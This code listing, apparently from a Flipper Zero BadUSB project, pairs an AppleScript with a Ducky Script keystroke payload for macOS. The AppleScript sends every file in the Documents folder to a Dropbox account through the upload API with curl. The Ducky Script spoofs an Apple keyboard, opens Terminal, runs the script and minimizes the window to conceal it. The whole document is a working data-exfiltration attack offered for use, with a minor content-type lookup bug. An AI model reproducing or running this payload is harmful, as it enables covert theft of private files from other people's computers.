89 lines
3.1 KiB
Plaintext
89 lines
3.1 KiB
Plaintext
REM This script copies the contents of the Documents folder and uploads it to a specific dropbox API
|
|
|
|
REM Author: Narsty
|
|
REM Title: Document to Dropbox API
|
|
REM Version 1.0 MacOs
|
|
|
|
REM Copy and paste this osascript/code (lines 12-59) into the Script editor App on your MacOs
|
|
REM Replace the "Your API Access token Here" placeholder with your actual Dropbox API token. line 13
|
|
REM Save this script below as a docapi.scpt file (Use Script Editor) to your desktop.
|
|
|
|
|
|
set documentsPath to POSIX path of (path to documents folder)
|
|
set dropboxAPIPath to "Your API Access token Here"
|
|
set apiEndpointURL to "https://content.dropboxapi.com/2/files/upload"
|
|
|
|
-- Get a list of files in the Documents folder
|
|
set fileNames to paragraphs of (do shell script "find " & quoted form of documentsPath & " -type f -maxdepth 1 -exec echo {} \\;")
|
|
|
|
-- Iterate over each file and upload it individually
|
|
repeat with fileName in fileNames
|
|
set filePath to quoted form of fileName
|
|
set fileExtension to (do shell script "echo " & filePath & " | awk -F . '{print $NF}'")
|
|
if fileExtension is not "" or fileName ends with "." then
|
|
set contentType to getContentType(fileExtension)
|
|
|
|
set uploadScript to "curl -X POST " & quoted form of apiEndpointURL & " " & ¬
|
|
"-H \"Authorization: Bearer " & dropboxAPIPath & "\" " & ¬
|
|
"-H \"Dropbox-API-Arg: {\\\"path\\\": \\\"/" & (do shell script "basename " & filePath) & "\\\", \\\"mode\\\": \\\"add\\\", \\\"autorename\\\": true, \\\"mute\\\": false}\" " & ¬
|
|
"-H \"Content-Type: " & contentType & "\" " & ¬
|
|
"--data-binary @" & filePath
|
|
|
|
do shell script uploadScript
|
|
end if
|
|
end repeat
|
|
|
|
on getContentType(fileExtension)
|
|
set fileExtension to "." & fileExtension
|
|
set contentTypes to {¬
|
|
{"ai", "application/postscript"}, ¬
|
|
{"doc", "application/msword"}, ¬
|
|
{"docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document"}, ¬
|
|
{"gif", "image/gif"}, ¬
|
|
{"jpeg", "image/jpeg"}, ¬
|
|
{"jpg", "image/jpeg"}, ¬
|
|
{"pdf", "application/pdf"}, ¬
|
|
{"png", "image/png"}, ¬
|
|
{"ppt", "application/vnd.ms-powerpoint"}, ¬
|
|
{"pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation"}, ¬
|
|
{"txt", "text/plain"}, ¬
|
|
{"xls", "application/vnd.ms-excel"}, ¬
|
|
{"xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"}, ¬
|
|
{"zip", "application/zip"}}
|
|
|
|
repeat with itemExtension in contentTypes
|
|
if itemExtension's first item is fileExtension then return itemExtension's second item
|
|
end repeat
|
|
|
|
return "application/octet-stream" -- Default content type if extension is not matched
|
|
end getContentType
|
|
|
|
|
|
|
|
|
|
|
|
|
|
REM Final step is to save the below Ducky Script as a .txt file lines 69-83 (main Read.me has step by step directions)
|
|
REM and put the .txt file on your BADUSB flipper zero APP to execute the osascript through the terminal.
|
|
|
|
ID 05ac:021e Apple:Keyboard
|
|
DELAY 500
|
|
GUI SPACE
|
|
DELAY 500
|
|
STRING terminal
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 1000
|
|
STRING cd ~/Desktop
|
|
ENTER
|
|
DELAY 500
|
|
STRING osascript docapi.scpt
|
|
ENTER
|
|
DELAY 200
|
|
GUI m
|
|
|
|
|
|
|
|
|
|
|